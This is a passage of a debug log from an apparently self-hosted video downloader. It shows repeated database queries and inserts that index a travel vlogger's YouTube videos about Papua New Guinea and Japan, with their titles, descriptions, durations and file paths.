factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 17:57:53.118 [debug] QUERY OK source="sources" db=0.1ms idle=39.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:53.118 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:53.119 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18984] 17:57:53.119 [debug] Current batch of media processed. Will check again in 1000ms 17:57:54.120 [debug] Current batch of media processed. Will check again in 1000ms 17:57:55.121 [debug] Current batch of media processed. Will check again in 1000ms 17:57:56.122 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2836, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", "id" => "RZ925LRWI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RZ925LRWI0M", "playlist_index" => 10, "timestamp" => 1774642707, "title" => "How To Get Robbed By Machete-Wielding Road Bandits", "upload_date" => "20260327"} 17:57:56.123 [debug] QUERY OK source="sources" db=0.2ms idle=1435.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:56.123 [debug] QUERY OK source="sources" db=0.1ms idle=1436.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:56.124 [debug] QUERY OK source="media_items" db=0.2ms idle=1436.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 17:57:56.125 [debug] QUERY OK source="media_items" db=0.8ms idle=1042.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "2b4e7506-2f1d-4198-a21b-7f075902f032", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 00:57:56Z], ~U[2026-08-20 00:57:56Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 17:57:56.125 [debug] QUERY OK source="sources" db=0.1ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:56.125 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:56.126 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18985] 17:57:56.126 [debug] Current batch of media processed. Will check again in 1000ms 17:57:57.127 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1815, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", "id" => "Xt-ikXQ-UxE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "playlist_index" => 11, "timestamp" => 1773422223, "title" => "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "upload_date" => "20260313"} 17:57:57.128 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:57.128 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:57.129 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 17:57:57.130 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "4aadfbd4-9420-47c6-900e-6fbc8bc3a292", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 00:57:57Z], ~U[2026-08-20 00:57:57Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 17:57:57.130 [debug] QUERY OK source="sources" db=0.1ms idle=46.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:57.130 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:57.131 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18986] 17:57:57.131 [debug] Current batch of media processed. Will check again in 1000ms 17:57:58.132 [debug] Current batch of media processed. Will check again in 1000ms 17:57:59.134 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2626, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", "id" => "xNeD65kGXlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xNeD65kGXlU", "playlist_index" => 12, "timestamp" => 1772809517, "title" => "I've Never Travelled Somewhere Like This (Remote PNG)", "upload_date" => "20260306"} 17:57:59.136 [debug] QUERY OK source="sources" db=1.7ms idle=446.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:57:59.137 [debug] QUERY OK source="sources" db=1.1ms idle=448.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:59.138 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=450.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 17:57:59.139 [debug] QUERY OK source="media_items" db=1.0ms idle=450.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "2ab8ceac-a6ba-4745-b5ce-09b24a3bbd82", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 00:57:59Z], ~U[2026-08-20 00:57:59Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 17:57:59.140 [debug] QUERY OK source="sources" db=0.2ms idle=49.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:57:59.141 [debug] QUERY OK source="media_profiles" db=1.6ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:59.143 [debug] QUERY OK source="media_items" db=1.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18987] 17:57:59.143 [debug] Current batch of media processed. Will check again in 1000ms 17:58:00.093 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:00.144 [debug] Current batch of media processed. Will check again in 1000ms 17:58:01.145 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1993, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", "id" => "sVlpZ6zLXh4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "playlist_index" => 13, "timestamp" => 1772204684, "title" => "Entering Papua New Guinea Alone in 2026", "upload_date" => "20260227"} 17:58:01.146 [debug] QUERY OK source="sources" db=0.3ms idle=1052.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS 